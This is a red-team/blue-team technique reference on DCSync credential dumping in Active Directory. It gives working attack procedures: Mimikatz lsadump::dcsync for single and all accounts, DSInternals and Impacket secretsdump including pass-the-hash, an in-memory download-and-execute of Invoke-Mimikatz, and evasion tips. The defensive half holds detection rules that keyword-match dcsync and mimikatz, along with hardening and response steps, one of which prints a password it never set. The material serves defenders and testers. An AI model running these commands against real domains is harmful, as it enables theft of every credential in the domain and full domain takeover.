| Attribute | Details |
|---|---|
| Technique ID | CA-DUMP-002 |
| MITRE ATT&CK v18.1 | T1003.006 - OS Credential Dumping: DCSync |
| Tactic | Credential Access |
| Platforms | Windows Active Directory (Server 2003-2025) |
| Severity | CRITICAL |
| CVE | CVE-2014-6324 (Kerberos PAC Privilege Escalation - Tangentially Related) |
| Technique Status | ACTIVE (No patch available; legitimate replication protocol) |
| Last Verified | 2026-01-02 |
| Affected Versions | Windows Server 2003-2025 (any version with Active Directory) |
| Patched In | N/A - Cannot be patched; replication is essential function |
| Author | SERVTEP – Artur Pchelnikau |
Note: CVE-2014-6324 (MS14-068) relates to Kerberos KDC PAC (Privilege Attribute Certificate) validation bypass, allowing unprivileged domain users to forge administrator tickets and escalate privileges. While DCSync (introduced in Mimikatz August 2015) is a separate post-exploitation technique, the two are often conflated in attack chains: CVE-2014-6324 can elevate an attacker to Domain Admin, then DCSync is used to dump ALL domain credentials. The DCSync attack itself cannot be patched because directory replication is a critical, mandatory Active Directory function. Both techniques remain ACTIVE and weaponized in modern APT campaigns.
Concept: DCSync is a post-exploitation credential dumping technique that abuses the legitimate directory replication protocol (MS-DRSR / Directory Replication Service Remote Protocol) to impersonate a domain controller and request password hash data from legitimate domain controllers. Any account with “Replicating Directory Changes” or “Replicating Directory Changes All” permissions (by default: Domain Admins, Enterprise Admins, Administrators, Domain Controllers) can execute DCSync via Mimikatz’s lsadump::dcsync command to extract the NTLM password hashes and Kerberos master keys (including KRBTGT) for any or all user accounts in Active Directory. Unlike LSASS dumping, DCSync requires no code execution on the domain controller—it impersonates a DC over the network, making it a “living-off-the-land” attack that blends seamlessly with legitimate replication traffic.
Attack Surface: Active Directory replication protocol (MS-DRSR), DsGetNCChanges RPC function, domain controller network communication (port 445/SMB), domain directory objects and their password attributes.
Business Impact: CRITICAL - Complete Domain Compromise in Minutes. Successful DCSync attack dumps every user account’s NTLM hash, plaintext credentials (if WDigest enabled), and KRBTGT master key. An attacker can then:
In a typical enterprise, a single successful DCSync execution compromises the entire domain within 30 seconds. Unlike LSASS dumping (requires local admin), DCSync can be executed remotely by any account with replication rights, making privilege escalation chains shorter and more impactful.
Technical Context:
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.1.5 (Credential Policies), 5.4 (Local Account), 6.1 (Least Privilege) | Failure to audit directory replication and limit privileged accounts leaves domain credentials exposed. |
| DISA STIG | WN10-00-000005 (Account Policy), WN10-SO-000265 (Privileged Account) | Privileged account management and audit policies must prevent unauthorized replication. |
| CISA SCuBA | AD.1 (Identity and Access Management), AD.2 (Logging and Detection) | Active Directory monitoring must detect unauthorized replication requests. |
| NIST 800-53 | AC-2 (Account Management), AC-3 (Access Enforcement), AC-6 (Least Privilege), AU-12 (Audit Generation) | Strict access controls and comprehensive auditing of privileged operations required. |
| GDPR | Art. 32 (Security of Processing), Art. 33 (Breach Notification) | Compromise of personal data via credential theft triggers 72-hour breach notification. |
| DORA | Art. 9 (Protection and Prevention), Art. 18 (ICT Security Testing) | EU financial institutions must test and monitor for credential dumping attacks. |
| NIS2 | Art. 21 (Cyber Risk Management Measures), Art. 23 (Incident Reporting) | Critical infrastructure must implement access controls and incident reporting for credential theft. |
| ISO 27001 | A.9.2.3 (Privileged Access Rights), A.12.3.1 (Event Logging), A.12.4.1 (Event Logging Activation) | Mandatory audit logging for privileged operations and replication access. |
| ISO 27005 | “Compromise of Authorization Infrastructure” Risk | Complete domain compromise via stolen KRBTGT master key. |
Required Privileges:
Replicating Directory Changes (DS-Replication-Get-Changes)Replicating Directory Changes All (DS-Replication-Get-Changes-All)Required Access:
nslookup, ipconfig /all, or hardcoded in configuration).Supported Versions:
| Windows Version | DCSync Support | Replication Protocol | Viability |
|---|---|---|---|
| Server 2003 | ✅ Full | MS-DRSR v1 | ✅ FULLY VIABLE |
| Server 2008/R2 | ✅ Full | MS-DRSR v1 | ✅ FULLY VIABLE |
| Server 2012/R2 | ✅ Full | MS-DRSR v1-v2 | ✅ FULLY VIABLE |
| Server 2016 | ✅ Full | MS-DRSR v1-v4 | ✅ FULLY VIABLE |
| Server 2019 | ✅ Full | MS-DRSR v1-v4 | ✅ FULLY VIABLE |
| Server 2022 | ✅ Full | MS-DRSR v1-v4 | ✅ FULLY VIABLE |
| Server 2025 | ✅ Full | MS-DRSR v1-v4 | ✅ FULLY VIABLE |
Tools:
Objective: Identify all accounts (default and non-default) with replication permissions to determine attack feasibility and scope.
# Method 1: Using Active Directory module (must be installed)
Get-ADObject -Filter * -SearchBase (Get-ADRootDSE).defaultNamingContext -Properties nTSecurityDescriptor |
Where-Object { $_.nTSecurityDescriptor -match "(DS-Replication-Get-Changes|DS-Replication-Get-Changes-All)" } |
Select-Object Name, ObjectClass
# Method 2: Using LDAP query for replication rights
$domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$dn = $domain.GetDirectoryEntry().distinguishedName
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.SearchRoot = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$dn")
$searcher.Filter = "(|(objectClass=user)(objectClass=computer))"
$searcher.PageSize = 1000
$replicationGUIDs = @(
"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", # DS-Replication-Get-Changes
"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" # DS-Replication-Get-Changes-All
)
$searcher.FindAll() | ForEach-Object {
$entry = $_.GetDirectoryEntry()
$acl = $entry.psbase.ObjectSecurity
$acl.Access | Where-Object { $_.IdentityReference -notmatch "(SYSTEM|Administrators|Domain Admins|Enterprise Admins|Domain Controllers)" } |
Select-Object IdentityReference, ActiveDirectoryRights
}
What to Look For:
Version Note: Commands work identically on Server 2003-2025. Replication permissions structure unchanged across all versions.
Objective: Locate domain controllers that the DCSync attack will target.
# List all domain controllers
$domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$dcs = $domain.DomainControllers
$dcs | Select-Object Name, IPAddress, OSVersion
# Or using Get-ADDomainController (AD module)
Get-ADDomainController -Filter * | Select-Object Name, HostName, IPv4Address, OperatingSystem
Expected Output:
Name HostName IPv4Address OperatingSystem
---- -------- ----------- ---------------
DC01 dc01.example.com 192.168.1.10 Windows Server 2019
DC02 dc02.example.com 192.168.1.11 Windows Server 2022
What This Means:
Objective: Verify if your current (compromised) account has sufficient permissions to execute DCSync.
# Check if current user has replication rights
Import-Module ActiveDirectory
$domain = Get-ADDomain
$dn = $domain.DistinguishedName
# Query for replication rights specifically
$domainNC = $dn # e.g., DC=example,DC=com
# Using Get-ADRootDSE to identify replication rights
$rootDSE = Get-ADRootDSE
$replicationRights = Get-ACL "AD:\$dn" | ForEach-Object { $_.Access } |
Where-Object { $_.IdentityReference -eq [System.Security.Principal.WindowsIdentity]::GetCurrent().Name }
if ($replicationRights -match "DS-Replication") {
Write-Host "[+] Current account HAS replication rights - DCSync is VIABLE"
} else {
Write-Host "[-] Current account LACKS replication rights - Escalate privileges first"
}
# Verify by running test DCSync command
mimikatz # lsadump::dcsync /domain:example.com /user:krbtgt /csv
# If successful, output shows KRBTGT hash
# If failed, output: "ERROR kuhl_m_lsadump_dcsync : GetNCChanges error"
Expected Output (Success):
[DC] 'example.com' will be the domain
[DC] 'DC01.example.com' will be the DC target
[DC] 'krbtgt' will be the user account target
Object RDN : krbtgt
SAM Account Name: krbtgt
Account Type : 30000003 ( USER_OBJECT )
User Account Control: 514 ( ACCOUNT_DISABLED NORMAL_ACCOUNT )
Account expiration : never
Password Last Set : 1/2/2026 5:35:00 AM
Object Security ID : S-1-5-21-...
Credentials:
Hash NTLM: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
Expected Output (Failure):
ERROR kuhl_m_lsadump_dcsync : GetNCChanges error: Access Denied
Supported Versions: Windows Server 2003-2025 (all versions).
Objective: Execute Mimikatz binary with required permissions (not necessarily admin, but must have replication rights).
Command (Command Prompt):
mimikatz.exe
Command (PowerShell):
C:\path\to\mimikatz.exe
Expected Output:
.#####. mimikatz 2.2.0 (x64) #18362 Feb 3 2025 23:58:42 +0000
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin Delpy `gentilkiwi`
'## v ##' https://blog.gentilkiwi.com/mimikatz
'#####. (UID=1234)
mimikatz #
What This Means:
OpSec & Evasion:
svchost.exe, rundll32.exe).IEX (New-Object Net.WebClient).DownloadString(...)Objective: Dump NTLM hash for a single target user (e.g., KRBTGT or Domain Admin).
Command (Mimikatz Interactive):
lsadump::dcsync /domain:example.com /user:krbtgt
Command (Mimikatz One-Liner):
mimikatz.exe "lsadump::dcsync /domain:example.com /user:krbtgt@example.com" exit
Command (PowerShell - In-Memory):
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command 'lsadump::dcsync /domain:example.com /user:krbtgt'
Expected Output:
[DC] 'example.com' will be the domain
[DC] 'DC01.example.com' will be the DC target
[DC] 'krbtgt' will be the user account target
Object RDN : krbtgt
SAM Account Name: krbtgt
User Principal Name : krbtgt@example.com
Object SID : S-1-5-21-1234567890-1234567890-1234567890-502
Credentials:
Hash NTLM : a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
Hash SHA1 : x9y8z7a6b5c4d3e2f1g0h9i8j7k6l5m4
What This Means:
OpSec & Evasion:
Troubleshooting:
| Error | Cause | Fix |
|---|---|---|
| “GetNCChanges error: Access Denied” | Account lacks replication rights | Verify permissions; escalate to account with rights |
| “The domain name is invalid” | Incorrect domain name | Use echo %userdnsdomain% to verify correct domain |
| “DC target not found” | Cannot reach specified DC | Verify DC hostname/IP; check network connectivity (ping, nslookup) |
| “A required privilege is not held” (rare) | Some edge-case permission issue | Try different target DC or use DSInternals alternative |
Command (Server 2003-2008R2 Variant - NetSync):
lsadump::dcsync /domain:example.com /user:krbtgt /nc:LDAPCN
REM Legacy NetSync protocol for older DCs
Objective: Dump NTLM hashes for every user account in the domain.
Command (Mimikatz):
lsadump::dcsync /domain:example.com /all /csv
Command (One-Liner):
mimikatz.exe "lsadump::dcsync /domain:example.com /all /csv" exit > C:\temp\domain_hashes.csv
Expected Output (CSV Format):
"User","Rid","Supplementalcredentials"
"krbtgt","502","a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6"
"Administrator","500","b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6a1"
"DOMAINUSER1","1001","c3d4e5f6g7h8i9j0k1l2m3n4o5p6a1b2"
"DOMAINUSER2","1002","d4e5f6g7h8i9j0k1l2m3n4o5p6a1b2c3"
...
[Total: 5000+ user hashes]
What This Means:
OpSec & Evasion:
File Size: Typically 1-10 MB for small domains; 50-500 MB for large enterprise domains (thousands of accounts).
Supported Versions: Windows Server 2003-2025 (requires PowerShell 5.0+).
Objective: Install the DSInternals PowerShell module from PowerShell Gallery.
Command (PowerShell - Admin):
Install-Module -Name DSInternals -Scope CurrentUser -Force
Expected Output:
Untrusted repository
You are installing the modules from an untrusted repository. If you trust this repository, change its InstallationPolicy value by running the Set-PSRepository cmdlet. Are you sure you want to continue?
[Y] Yes [A] Yes to All [N] No [L] No to All [?] Help (default is "N"): A
Installing module 'DSInternals'...
[████████████████████████████] 100%
What This Means:
Get-ADReplAccount function (equivalent to Mimikatz DCSync).Version Note: Works identically on Server 2003-2025; PowerShell 5.0+ required.
Objective: Use DSInternals to extract all domain credentials.
Command (PowerShell):
Import-Module DSInternals
Get-ADReplAccount -All -Server DC01.example.com
Expected Output:
DistinguishedName: CN=krbtgt,CN=Users,DC=example,DC=com
ObjectGUID: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
SamAccountName: krbtgt
SamAccountType: User
Enabled: False
PWDLastSet: 1/2/2026 5:35:00 AM
BadPWDCount: 0
BadPasswordTime:
LastLogonTime:
Hashes:
NTHash: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
LMHash: (null)
---
DistinguishedName: CN=Administrator,CN=Users,DC=example,DC=com
ObjectGUID: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
SamAccountName: Administrator
SamAccountType: User
Enabled: True
PWDLastSet: 1/2/2026 6:30:00 AM
BadPWDCount: 0
BadPasswordTime:
LastLogonTime: 1/2/2026 6:35:00 AM
Hashes:
NTHash: b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6a1
LMHash: (null)
What This Means:
OpSec & Evasion:
powershell -WindowStyle Hidden-NoProfile to avoid profile script logging.Troubleshooting:
| Error | Cause | Fix |
|---|---|---|
| “Module DSInternals not found” | Module not installed | Run Install-Module -Name DSInternals |
| “Access Denied” | Insufficient permissions | Verify account has replication rights |
| “Server not found” | DC hostname invalid | Use correct FQDN (e.g., DC01.example.com) |
| “RPC Server unavailable” | Network/firewall blocking RPC | Verify port 135 and 445 accessible |
Supported Versions: Windows Server 2003-2025 (runs from Linux/Windows).
Objective: Install the Impacket framework on attack machine (Linux or Windows).
Command (Linux/macOS):
pip install impacket
Command (Windows - from Git repository):
git clone https://github.com/fortra/impacket.git
cd impacket
python -m pip install -r requirements.txt
python setup.py install
Expected Output:
Successfully installed impacket-0.10.1
Objective: Execute secretsdump.py to remotely dump domain credentials via DCSync.
Command (Authenticated - Current Domain User):
secretsdump.py example.com/domainuser:password@DC01.example.com
Command (Pass-the-Hash - Using Stolen NTLM Hash):
secretsdump.py -hashes :a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6 example.com/Administrator@DC01.example.com
Command (Using Kerberos Ticket - If Compromised):
export KRB5CCNAME=/path/to/ticket.ccache
secretsdump.py -k -no-pass example.com/Administrator@DC01.example.com
Expected Output:
Impacket v0.10.1.dev1 - Copyright 2023 SecureAuth Corporation
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6a1:::
DOMAINUSER1:1001:aad3b435b51404eeaad3b435b51404ee:c3d4e5f6g7h8i9j0k1l2m3n4o5p6a1b2:::
...
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
krbtgt:aes256-cts-hmac-sha1-96:yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
What This Means:
aad3b435b51404eeaad3b435b51404ee = null hash).OpSec & Evasion:
Troubleshooting:
| Error | Cause | Fix |
|---|---|---|
| “Connection reset by peer” | DC unreachable | Verify hostname/IP and network connectivity |
| “Authentication failed” | Wrong credentials | Verify username, password, or hash |
| “DRSUAPI protocol error” | Unsupported DC version | Try -use-ldaps flag or legacy protocol |
| “Segmentation fault” | Python/Impacket version mismatch | Upgrade: pip install --upgrade impacket |
Supported Versions: All versions (exploits permission misconfiguration, not version differences).
Objective: Locate service accounts or backup operators with inadvertently granted replication permissions.
Command (PowerShell - ACL Enumeration):
# Find all accounts with replication rights (GUID-based)
$domainDN = (Get-ADRootDSE).defaultNamingContext
$replicationGUIDs = @(
"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", # DS-Replication-Get-Changes
"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" # DS-Replication-Get-Changes-All
)
$domain = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$domainDN")
$acl = $domain.psbase.ObjectSecurity
$acl.Access | Where-Object {
$_.ActiveDirectoryRights -match "GenericAll|ExtendedRight" -and
$replicationGUIDs -contains $_.ObjectType
} | Select-Object IdentityReference, ActiveDirectoryRights, ObjectType
Expected Output (High Risk):
IdentityReference ActiveDirectoryRights ObjectType
----------------- --------------------- ----------
EXAMPLE\SVC_BACKUP ExtendedRight 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
EXAMPLE\VEEAM_SERVICE GenericAll 00000000-0000-0000-0000-000000000000
EXAMPLE\SOLARWINDS_ACCOUNT GenericAll 00000000-0000-0000-0000-000000000000
What This Means:
Objective: Perform DCSync using compromised low-privilege account that has replication rights.
Command (Mimikatz as Delegated Account):
# First, compromise the low-privilege account
# (e.g., via credential stuffing, phishing, or lateral movement)
# Then execute DCSync as this account (no Domain Admin needed)
$username = "SVC_BACKUP"
$password = "P@ssw0rd123" # Extracted credential
$domain = "example.com"
$dc = "DC01.example.com"
# Run Mimikatz as this user
$cmd = @"
runas /user:$domain\$username mimikatz.exe "lsadump::dcsync /domain:$domain /all"
"@
Invoke-Expression $cmd
Expected Output:
[*] DCSync executing as SVC_BACKUP (with replication rights)
[+] Extracting all domain credentials...
[+] Success: Dumped 5000+ user hashes
What This Means:
| Test # | Test Name | Method | Tools Required | Supported Versions |
|---|---|---|---|---|
| 1 | DCSync (Active Directory) | Mimikatz lsadump::dcsync | mimikatz.exe | All |
| 2 | Run DSInternals Get-ADReplAccount | PowerShell Get-ADReplAccount | DSInternals module | All |
Install Atomic Red Team (if not already installed):
# Download and setup Atomic Red Team
$atomicRepoURL = "https://github.com/redcanaryco/atomic-red-team/archive/master.zip"
$extractPath = "C:\temp\atomic-red-team"
Invoke-WebRequest -Uri $atomicRepoURL -OutFile "C:\temp\atomic-red-team.zip"
Expand-Archive -Path "C:\temp\atomic-red-team.zip" -DestinationPath $extractPath -Force
# Install Invoke-AtomicRedTeam module
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Install-AtomicRedTeam.ps1" -OutFile "$env:TEMP\Install-AtomicRedTeam.ps1"
& "$env:TEMP\Install-AtomicRedTeam.ps1" -getAtomics
Execute T1003.006 Test #1 - Mimikatz DCSync:
Invoke-AtomicTest T1003.006 -TestNumbers 1
Expected Output (Test #1):
Executing Atomic Test T1003.006.001 - DCSync (Active Directory)
[*] Test started at 2026-01-02 06:35:00
[*] Mimikatz path: C:\temp\atomic-red-team-master\atomics\T1003.006\src\mimikatz.exe
[+] Command: mimikatz.exe "lsadump::dcsync /domain:%userdnsdomain% /user:krbtgt@%userdnsdomain%" "exit"
[+] [DC] 'example.com' will be the domain
[+] [DC] 'DC01.example.com' will be the DC target
[+] [DC] 'krbtgt' will be the user account target
[+] Hash NTLM: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
[*] Test completed at 2026-01-02 06:35:03
Execute T1003.006 Test #2 - DSInternals:
Invoke-AtomicTest T1003.006 -TestNumbers 2
Expected Output (Test #2):
Executing Atomic Test T1003.006.002 - Run DSInternals Get-ADReplAccount
[*] Test started at 2026-01-02 06:35:05
[*] Installing DSInternals module...
[+] Module installed successfully
[+] Running Get-ADReplAccount -All -Server $env:LOGONSERVER
[+] Extracted 5000+ user account credentials
[*] Test completed at 2026-01-02 06:35:15
# Remove extracted credentials (if logged to file)
Remove-Item "C:\temp\domain_hashes.csv" -Force -ErrorAction SilentlyContinue
Remove-Item "C:\temp\dcsync_results.txt" -Force -ErrorAction SilentlyContinue
# Uninstall DSInternals if not needed
Uninstall-Module -Name DSInternals -Force -ErrorAction SilentlyContinue
Reference: Atomic Red Team T1003.006 Test Suite
Current Version: 2.2.0 (as of Jan 2026) Minimum Version: 2.0.0 (supports DCSync; recommend 2.2.0+ for modern AD) Supported Platforms: Windows Server 2003-2025, Windows XP-11 Requirements: Domain credentials with replication rights; network access to DC.
Installation:
# Download from GitHub
$mimikatzURL = "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210101/mimikatz_trunk.zip"
$outputPath = "C:\Windows\Temp\mimikatz.zip"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri $mimikatzURL -OutFile $outputPath
Expand-Archive -Path $outputPath -DestinationPath "C:\Windows\Temp\mimikatz" -Force
# Execute
C:\Windows\Temp\mimikatz\x64\mimikatz.exe
Usage:
mimikatz # lsadump::dcsync /domain:example.com /user:krbtgt
mimikatz # lsadump::dcsync /domain:example.com /all /csv
Current Version: Latest (actively maintained) Minimum Version: Latest Supported Platforms: Windows Server 2003-2025 (requires PowerShell 5.0+) Requirements: Domain credentials with replication rights; Active Directory cmdlets available.
Installation:
Install-Module -Name DSInternals -Scope CurrentUser -Force
Usage:
Import-Module DSInternals
Get-ADReplAccount -All -Server DC01.example.com
Current Version: Latest (actively maintained) Minimum Version: Latest Supported Platforms: Linux, macOS, Windows (Python 3.6+) Requirements: Network access to DC (port 445); domain credentials or NTLM hash.
Installation:
pip install impacket
Usage:
secretsdump.py example.com/user:password@DC01.example.com
secretsdump.py -hashes :hash example.com/Administrator@DC01.example.com
Rule Configuration:
SPL Query:
sourcetype=WinEventLog:Security EventCode=4662 ObjectName="*CN=Domain*"
(ObjectType="1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" OR ObjectType="1131f6ad-9c07-11d1-f79f-00c04fc2dcd2")
| where NOT SourceIP IN (192.168.1.10, 192.168.1.11, 10.0.1.5) # List of DC IPs
| stats count by SourceIP, TargetUserName, ComputerName
| where count >= 1
What This Detects:
1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 = DS-Replication-Get-Changes1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 = DS-Replication-Get-Changes-AllManual Configuration Steps (Splunk Web):
count >= 1False Positive Analysis:
| where NOT TargetUserName IN ("SVC_BACKUP", "VEEAM_*")Source: Splunk Security Content - DCSync Detection
Rule Configuration:
SPL Query:
sourcetype=WinEventLog:Security EventCode=4688
(CommandLine="*lsadump*" OR CommandLine="*dcsync*" OR CommandLine="*DCSync*" OR Image="*mimikatz*")
| stats count by CommandLine, ParentImage, User, ComputerName
| where count >= 1
What This Detects:
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4662
| where ObjectType in ("1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2")
| where ComputerName !in ("DC01", "DC02", "DC03") // Whitelist actual DCs
| summarize ReplicationAttempts=count() by SubjectUserName, ComputerName, ObjectType
| where ReplicationAttempts >= 1
What This Detects:
Manual Configuration Steps (Azure Portal):
Unauthorized AD Replication Attempt (DCSync Detection)Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4688
| where CommandLine contains "lsadump" or CommandLine contains "dcsync" or CommandLine contains "/nc:"
| project TimeGenerated, CommandLine, SubjectUserName, ComputerName, ParentProcessName
What This Detects:
Event ID: 4662 - An Operation Was Performed on an Object
Event IDs to Monitor:
Manual Configuration Steps (Group Policy - Enable Auditing):
gpupdate /force on all DCs.Manual Configuration Steps (Local Security Policy):
auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enableVerification Command:
auditpol /get /subcategory:"Directory Service Access"
# Expected: Success and Failure: Enabled
Minimum Sysmon Version: 13.0+ (for network detection) Supported Platforms: Windows Server 2003-2025
<Sysmon schemaversion="4.30">
<!-- Detect Mimikatz lsadump::dcsync execution -->
<RuleGroup name="DCSync Attack Detection" groupRelation="or">
<ProcessCreate onmatch="include">
<CommandLine condition="contains">lsadump</CommandLine>
<CommandLine condition="contains">dcsync</CommandLine>
<Image condition="image">mimikatz.exe</Image>
</ProcessCreate>
</RuleGroup>
<!-- Detect suspicious network replication traffic (DRSUAPI) -->
<RuleGroup name="AD Replication Traffic Detection" groupRelation="or">
<NetworkConnect onmatch="include">
<DestinationPort>445</DestinationPort> <!-- SMB -->
<DestinationPort>49152-65535</DestinationPort> <!-- RPC dynamic -->
<InitiatingProcessName condition="is not">lsass.exe</InitiatingProcessName>
<InitiatingProcessName condition="is not">svchost.exe</InitiatingProcessName>
<InitiatingProcessName condition="is not">csrss.exe</InitiatingProcessName>
<!-- Alert on non-system processes contacting DC -->
</NetworkConnect>
</RuleGroup>
<!-- Detect Process Access to Sensitive Objects (if DCSync queries are logged) -->
<RuleGroup name="DRSUAPI API Calls" groupRelation="or">
<ProcessAccess onmatch="include">
<TargetImage condition="image">lsass.exe</TargetImage>
<AccessMask condition="is">0x1010</AccessMask> <!-- Suspicious access -->
</ProcessAccess>
</RuleGroup>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xml with the XML above.sysmon64.exe -accepteula -i sysmon-config.xmlAlert Name: “Suspected DCSync attack (replication of directory services) (external ID 2006)”
Manual Configuration Steps (Enable Defender for Identity):
Built-in Detection Rules:
Operation: Directory Service Changes Workload: AzureActiveDirectory Details: Logs of replication and directory modifications.
PowerShell Query:
# Connect to Security & Compliance PowerShell
Connect-IPPSSession
# Search for DCSync-related audit events
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) -FreeText "replication" | Select-Object -First 100
# Or search for suspicious Kerberos activity
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -Operations "Kerberos" | Select-Object -First 100
Manual Configuration Steps (Enable Unified Audit Log):
Objective: Identify all accounts with replication rights and remove non-essential ones.
Applies To Versions: Windows Server 2003-2025 (all versions).
Manual Steps (PowerShell - DC Management):
# Enumerate all accounts with replication rights
Import-Module ActiveDirectory
$domain = Get-ADDomain
$dn = $domain.DistinguishedName
# Get all replication permissions
$acl = Get-ACL "AD:\$dn"
$replicationAccounts = $acl.Access | Where-Object {
$_.IdentityReference -notmatch "(Domain Admins|Enterprise Admins|Administrators|Domain Controllers|Read-Only Domain Controllers)" -and
$_.ActiveDirectoryRights -match "GenericAll|ExtendedRight"
}
# Display non-default accounts
$replicationAccounts | Select-Object IdentityReference, ActiveDirectoryRights
# Remove replication rights from unnecessary accounts
foreach ($ace in $replicationAccounts) {
$acl.RemoveAccessRule($ace)
}
Set-ACL -AclObject $acl -Path "AD:\$dn"
Write-Host "[+] Replication rights sanitized"
Manual Steps (Group Policy - Domain-Wide):
gpupdate /forceValidation Command:
# Verify only default accounts have replication rights
$acl = Get-ACL "AD:\$dn"
$acl.Access | Where-Object { $_.ActiveDirectoryRights -match "ExtendedRight" } |
Select-Object IdentityReference, ActiveDirectoryRights
Objective: Log all directory service operations, especially replication requests, to detect DCSync attacks in real-time.
Manual Steps (Group Policy on Domain Controllers):
gpupdate /force on all DCs.Manual Steps (Event Log Retention - Ensure Logs Don’t Fill):
Objective: Reset KRBTGT password (the master key for all Kerberos tickets) twice, 10 hours apart, to invalidate any forged Golden Tickets created post-DCSync.
Critical Caveat: Improper KRBTGT reset can break Kerberos authentication domain-wide. Coordinate with AD team.
Manual Steps (PowerShell - Domain Controller):
# STEP 1: First KRBTGT Password Reset
$krbtgt = Get-ADUser -Identity "krbtgt" -Properties objectSid
Set-ADAccountPassword -Identity $krbtgt -Reset -NewPassword (ConvertTo-SecureString -AsPlainText (New-Guid).ToString() -Force)
Write-Host "[+] KRBTGT password reset (1/2) - New password: $(New-Guid)"
# Wait 10 hours (or 12 to be safe)
Write-Host "[!] Wait at least 10 hours before second reset"
# Sleep for 10 hours (in production, schedule this with task scheduler)
Start-Sleep -Seconds 36000
# STEP 2: Second KRBTGT Password Reset (invalidates ALL Kerberos tickets)
Set-ADAccountPassword -Identity $krbtgt -Reset -NewPassword (ConvertTo-SecureString -AsPlainText (New-Guid).ToString() -Force)
Write-Host "[+] KRBTGT password reset (2/2) - Golden Tickets invalidated"
# Verify reset
Get-ADUser -Identity "krbtgt" -Properties pwdLastSet | Select-Object SamAccountName, pwdLastSet
What This Does:
Manual Steps (Group Policy - Automatic KRBTGT Reset):
gpupdate /forceObjective: Separate administrative tiers (Tier 0 = Domain Admins, Tier 1 = Server admins, Tier 2 = Workstation admins) to limit lateral movement post-DCSync.
Manual Steps (Active Directory Design):
OU=Domain-Admins,DC=example,DC=com (Domain Admins only)OU=Server-Admins,DC=example,DC=com (Server administrators)OU=Workstation-Admins,DC=example,DC=com (Workstation support)DOMAIN\Admin_DA (Domain Admin - only for DC/Domain object changes)DOMAIN\Admin_SA (Server Admin - only for server management)DOMAIN\Admin_WA (Workstation Admin - only for workstation support)# Apply Group Policy to restrict Tier 0 admin logon locations
New-GPO -Name "Tier0-Restrict-Logon" | New-GPLink -Target "OU=Domain-Admins,DC=example,DC=com"
# Set policy: "Deny access to this computer from the network"
# Members: Tier 0 accounts (except Tier 0 DCs)
Objective: Continuously monitor for KRBTGT compromise and alert on Golden Ticket usage.
Manual Steps (Sentinel KQL Alert):
// Alert if KRBTGT account is accessed for reading/dumping
SecurityEvent
| where EventID == 4656 or EventID == 4662
| where TargetUserName == "krbtgt"
| where AccessMask in ("0x1010", "0x1F0FFF") // Suspicious read access
| summarize count() by SubjectUserName, ComputerName, EventID
User Accounts:
Network Indicators:
Process Indicators:
Event Log Indicators:
Disk:
C:\ProgramData\Microsoft\Crypto\RSA\* (cached credentials).C:\Windows\System32\winevt\Logs\Security.evtx (contains Event 4662).Memory:
Network:
Active Directory:
Objective: Prevent further credential theft and lateral movement.
Manual Steps:
Disable-ADAccount -Identity "COMPROMISED_USER"
# Invalidate all Kerberos tickets for this user
Get-ADUser -Filter { SamAccountName -eq "COMPROMISED_USER" } |
Set-ADUser -ChangePasswordAtNextLogon $true
Objective: Determine how many credentials were dumped and which systems are at risk.
Command (Check DCSync Audit Logs):
# Query Event 4662 for replication requests (past 24 hours)
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4662]] and *[EventData[Data[@Name='ObjectType']='1131f6aa-9c07-11d1-f79f-00c04fc2dcd2']]" |
Select-Object -First 100 | Format-Table TimeCreated, Message
What to Look For:
Objective: Invalidate extracted credentials.
Command (Reset Domain Admin Passwords):
$admins = Get-ADGroupMember -Identity "Domain Admins"
foreach ($admin in $admins) {
$newPassword = (New-Guid).ToString() + "!@#"
